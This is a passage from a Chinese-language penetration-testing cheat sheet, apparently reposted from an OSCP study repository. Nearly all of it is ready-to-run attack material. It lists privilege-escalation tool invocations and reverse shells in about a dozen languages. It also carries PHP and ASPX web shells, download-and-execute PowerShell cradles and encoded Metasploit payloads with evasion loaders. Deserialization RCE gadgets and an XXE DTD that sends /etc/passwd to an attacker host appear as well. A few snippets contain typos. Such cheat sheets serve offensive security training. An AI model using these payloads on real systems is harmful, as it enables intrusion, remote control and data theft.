$RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation

# Export CLSIDs list
$RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii

# Visual Table
$RESULT | ogv

执行

.\JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://<LHOST>/<FILE>.ps1')" -t *

JuicyPotatoNG LPE

https://github.com/antonioCoco/JuicyPotatoNG

.\JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c whoami"

MySQL 4.x/5.0 用户定义函数（UDF）动态库（二）LPE

https://www.exploit-db.com/exploits/1518

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

mysql -u root

> use mysql;
> create table foo(line blob);
> insert into foo values(load_file('/PATH/TO/SHARED_OBJECT/raptor_udf2.so'));
> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
> create function do_system returns integer soname 'raptor_udf2.so';
> select do_system('chmod +s /bin/bash');

PrintSpoofer LPE

https://github.com/itm4n/PrintSpoofer

.\PrintSpoofer64.exe -i -c powershell

SharpEfsPotato LPE

https://github.com/bugch3ck/SharpEfsPotato

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "C:\nc64.exe -e cmd.exe <LHOST> <LPORT>"

令人震惊的沙箱逃逸

https://raw.githubusercontent.com/gabrtv/shocker/master/shocker.c

修改漏洞利用

        // get a FS reference from something mounted in from outside
        if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
                die("[-] open");

        if (find_handle(fd1, "/root/root.txt", &root_h, &h) <= 0)
                die("[-] Cannot find valid handle!");

编译

gcc shocker.c -o shocker
cc -Wall -std=c99 -O2 shocker.c -static

exp

Donut

donut -a 2 -f 1 -o donutpayload.bin shellcode.exe

Exif工具

PHP 转 JPG 注入

exiftool -Comment='<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"); ?>' shell.jpg
exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' <FILE>.jpeg
exiftool "-comment<=back.php" back.png
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' <FILE>.png

GhostScript

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%cat flag > /app/application/static/petpets/flag.txt) currentdevice putdeviceprops

nishang

cd path/to/nishang/Shells/
cp Invoke-PowerShellTcp.ps1 Invoke-PowerShellTcp.ps1

tail -3 Invoke-PowerShellTcp.ps1
}

Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port <LPORT>

powershell "IEX(New-Object Net.Webclient).downloadString('http://<LHOST>:<LPORT>/Invoke-PowerShellTcp.ps1')"

反向shell

Bash 反向 Shell

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
echo -n '/bin/bash -c "bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"' | base64

curl反向 Shell

curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}'

Groovy (Jenkins) 反向 Shell

String host="<LHOST>";
int port=<LPORT>;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

JAVA反向Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

shell.jar

package <NAME>;

import org.bukkit.plugin.java.JavaPlugin;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;

public class Main extends JavaPlugin {
   @Override
   public void onDisable() {
     super.onDisable();
   }

@Override
public void onEnable() {
  final String PHP_CODE = "<?php system($_GET['cmd']); ?>";
  try {
   Files.write(Paths.get("/var/www/<RHOST>/shell.php"), PHP_CODE.getBytes(), StandardOpenOption.CREATE_NEW);
   } catch (IOException e) {
     e.printStackTrace();
   }

   super.onEnable();
  }
}

Lua 反向 Shell

http://<RHOST>');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT>/tmp/f")--

Markdown 反向 Shell

--';bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1;'--

mkfifo 反向 Shell

mkfifo /tmp/shell; nc <LHOST> <LPORT> 0</tmp/shell | /bin/sh >/tmp/shell 2>&1; rm /tmp/shell

Netcat 反向 Shell

nc -e /bin/sh <LHOST> <LPORT>

Perl 反向 Shell

perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP 反向 Shell

php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'

PowerShell 反向 Shell

$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell -nop -exec bypass -c '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

minireverse.ps1

$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
    $writer.Flush();
    $read = $null;
    $res = ""
    while($stream.DataAvailable -or $read -eq $null) {
        $read = $stream.Read($buffer, 0, 1024)
    }
    $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
    if(!$out.equals("exit")){
        $args = "";
        if($out.IndexOf(' ') -gt -1){
            $args = $out.substring($out.IndexOf(' ')+1);
            $out = $out.substring(0,$out.IndexOf(' '));
            if($args.split(' ').length -gt 1){
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                } else {
                    $res = $stdout
                }
            }
            else{
                $res = (&"$out" "$args") | out-string;
            }
        }
        else{
            $res = (&"$out") | out-string;
        }
        if($res -ne $null){
        $writer.WriteLine($res)
    }
    }
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()

Python 反向 Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'

echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE><(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE>

Ruby 反向 Shell

ruby -rsocket -e'f=TCPSocket.open("<LHOST>",<LPORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ScareCrow

有效载荷

使用 msfvenom 创建 Shellcode 有效负载

msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=<LHOST> LPORT=8443 -f raw -o <FILE>.bin

使用 msfvenom 创建 .msi 文件有效负载

msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=<LHOST> LPORT=8443 -f exe -o <FILE>.exe

监听

msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_https

混淆

DLL 旁加载

ScareCrow -I <FILE>.bin -Loader dll -domain <FAKE_DOMAIN>

Windows 脚本宿主

ScareCrow -I <FILE>.bin -Loader msiexec -domain <FAKE_DOMAIN> -O payload.js

控制面板文件

ScareCrow -I <FILE>.bin -Loader control -domain <FAKE_DOMAIN>

重命名有效负载

mv <FILE>.dll <FILE>32.dll

执行

rundll32.exe .\<FILE>32.dll,DllRegisterServer

或者

regsvr32 /s .\<FILE>32.dll

只需.cpl-Files双击就足以执行它们。

Shikata Ga Nai

msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/shell.exe

网络shell

PHP 网络shell

<?php system($_GET['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo system($_REQUEST['shell']): ?>

ysoserial

java -jar ysoserial-master-SNAPSHOT.jar
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 'nc <LHOST> <LPORT> -e /bin/sh' | base64 -w 0
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections4 "$jex" > /tmp/$filename.session

模板

ASPX Web Shell

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('http://<LHOST>/shellyjelly.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
-->

错误的 YAML

- hosts: localhost
  tasks:
    - name: badyml
      command: chmod +s /bin/bash

Python 脚本利用骨架

#!/usr/bin/python

import socket,sys

address = '127.0.0.1'
port = 9999
buffer = #TBD

try:
    print '[+] Sending buffer'
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((address,port))
    s.recv(1024)
    s.send(buffer + '\r\n')
except:
    print '[!] Unable to connect to the application.'
    sys.exit(0)
finally:
    s.close()

JSON POST 请求

POST /<path> HTTP/1.1
Host: <RHOST>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Content-Length: 95
Connection: close

{
  "auth":{
    "name":"<USERNAME>",
    "password":"<PASSWORD>"
  },
  "filename":"<FILE>"
}

Python Pickle RCE

import pickle
import sys
import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat <LHOST> <LHOST> > /tmp/f'

class rce(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

print(base64.b64encode(pickle.dumps(rce())))

import base64
import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ("/bin/bash -c 'exec bash -i &>/dev/tcp/<LHOST>/<LPORT> <&1'")
        return = os.system, (cmd, )

if __name__ == '__main__':
    pickle = pickle.dumps(RCE())
    print(bas64.b64encode(pickled))

SSRF 的 Python 重定向

#!/usr/bin/python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

class Redirect(BaseHTTPRequestHandler):
  def do_GET(self):
      self.send_response(302)
      self.send_header('Location', sys.argv[1])
      self.end_headers()

HTTPServer(("0.0.0.0", 80), Redirect).serve_forever()

sudo python3 redirect.py http://127.0.0.1:3000/

#!/usr/bin/env python

import SimpleHTTPServer
import SocketServer
import sys
import argparse

def redirect_handler_factory(url):
    """
    returns a request handler class that redirects to supplied `url`
    """
    class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
       def do_GET(self):
           self.send_response(301)
           self.send_header('Location', url)
           self.end_headers()

       def do_POST(self):
           self.send_response(301)
           self.send_header('Location', url)
           self.end_headers()

    return RedirectHandler


def main():

    parser = argparse.ArgumentParser(description='HTTP redirect server')

    parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
    parser.add_argument('--ip', '-i', action="store", default="", help='host interface to listen on')
    parser.add_argument('redirect_url', action="store")

    myargs = parser.parse_args()

    redirect_url = myargs.redirect_url
    port = myargs.port
    host = myargs.ip

    redirectHandler = redirect_handler_factory(redirect_url)

    handler = SocketServer.TCPServer((host, port), redirectHandler)
    print("serving at port %s" % port)
    handler.serve_forever()

if __name__ == "__main__":
    main()

Python 网络请求

import requests
import re

http_proxy  = "http://127.0.0.1:8080"
proxyDict = {
              "http"  : http_proxy,
            }
// get a session
r = requests.get('http://')
// send request
r = requests.post('<RHOST>', data={'key': 'value'}, cookies={'PHPSESSID': r.cookies['PHPSESSID']} , proxies=proxyDict)

XML 外部实体 (XXE)

请求

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % <NAME> SYSTEM 
"http://<LHOST>/<FILE>.dtd">%<NAME>;]>
<root>
<method>GET</method>
<uri>/</uri>
<user>
<username><NAME>;</username>
<password><NAME></password>
</user>
</root>

.dtd的内容

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://<LHOST>/?f=%file;'>">
%eval;
%exfiltrate;

exp下载地址

文中涉及到的payloads,部分可在如下地址下载

github.com/0xsyr0/OSCP/tree/main/exploits

项目地址

GitHub:
https://github.com/0xsyr0/oscp

转载请注明出处及链接